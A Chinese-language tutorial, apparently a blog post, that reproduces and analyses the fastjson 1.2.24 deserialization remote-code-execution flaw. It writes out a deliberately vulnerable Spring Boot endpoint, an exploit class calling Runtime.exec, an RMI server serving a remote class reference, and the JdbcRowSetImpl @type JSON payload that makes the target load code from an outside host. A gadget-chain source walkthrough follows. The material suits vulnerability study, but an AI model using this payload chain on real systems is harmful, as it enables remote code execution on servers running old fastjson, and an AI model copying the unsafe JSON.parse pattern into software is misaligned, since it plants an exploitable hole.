文章目录
- 0x01 前言
- 0x02 环境
- 0x03漏洞复现
- 环境准备
- 0x04 漏洞分析
- 利用链源码分析
- 0x05 总结
- 0x06 可能遇到的坑
0x01 前言
影响版本 fastjson <= 1.2.24
本文出于学习fastjson漏洞的目的,为了能更好的复现漏洞,需要有以下前置知识。
- springboot
- fastjson
- jndi+rmi
jdk版本限制
- rmi:<= 6u132,7u122,8u113
- ldap:<= 6u211,7u201,8u191,11.0.1
原因:高版本JDK在RMI和LDAP的trustURLCodebase
做了限制,从默认允许远程加载ObjectFactory变成了不允许。
0x02 环境
fastjson version:1.2.24
springboot version:2.7.7
jdk version:8u112
0x03漏洞复现
环境准备
-
新建一个springboot项目
-
引入web和fastjson依赖
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>
-
编写漏洞代码
//新建一个controller,然后写个模拟登录的接口 package com.hmg.fastjson.controller; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; @RestController public class TestController { @PostMapping("/login") public String login(@RequestBody String jsonData) { //这里使用parse和parseObject都是一样的 Object parse = JSON.parse(jsonData); System.out.println(parse.toString()); return "login success"; } }
-
漏洞利用
-
编写exp并且使用python开启一个http服务
//这里有个需要注意的点,就是不需要包名(package name) public class DeserializationShell { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { throw new RuntimeException(e); } } } //把DeserializationShell类使用javac命令编译成class文件,然后在这个class文件目录下使用python启动一个http服务 //python http命令:python -m http.server 8888 --bind 192.168.10.126 (cmd运行此命令,注意:一定要在class文件目录下)
-
使用rmi手法进行攻击(ldap也可以,这里使用rmi进行演示)
//编写rmi server并启动 package org.example.test12; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws Exception { String url = "http://192.168.10.126:8888/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("DeserializationShell", "DeserializationShell", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("DeserializationShell",referenceWrapper); System.out.println("running..."); } }
-
构造payload(这里采用JdbcRowSetImpl来复现,也可以采用其它类来进行构造payload,例如TemplateImpl)
#使用接口测试工具或hackbar或burp suite来进行漏洞利用 #payload如下: { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.10.126:1099/DeserializationShell", "autoCommit": true }
-
-
成功rce
0x04 漏洞分析
fastjson1.2.24在解析json过程中支持使用autoType来实例化类,并会调用get/set方法来访问属性,这样就可以构造恶意的利用链。这么说可能有点抽象,我们来具体分析下利用链源码。
利用链源码分析
-
获取token
从图中我们可以看到,它先是匹配了第一个字符,如果是’{'开始的,就指向下一个字符并且赋值token。(LBRACE = 12、LBRACKET = 14)
-
解析json对象
因为我们token是LBRACE,所以我们跟进parseObject方法
-
先解析@type,解析到@type之后就进行loadClass
解析到@type后继续往下走
继续往下走,会看到deserialze方法
-
然后查找匹配字段,找不到就从符号表加载,找到之后就调用该字段的set方法
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
在这里检测匹配参数
如果没有匹配参数,那么就从符号表找
进入parseField方法
获取字段反序列化器进行解析字段
-
解析参数值
-
反射调用该字段set方法
反射调用,给JdbcRowSetImpl类的DataSourceName设置rmi地址
-
-
当调用到setAutoCommit时,在setAutoCommit里调用到connect方法,然后connect里会采用jndi的lookup方法,这就可以配合rmi进行恶意类攻击
-
lookup方法调用之后就造成了rce
0x05 总结
看完利用链分析后,我们来总结一下,整体来说就是fastjson是根据@type来进行反序列化类并且没有做任何限制,允许指定@type来反序列化任意类,所以导致了反序列化漏洞。
0x06 可能遇到的坑
1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource
原因:是因为jdk版本限制问题,解决方法就是使用前面说的版本即可。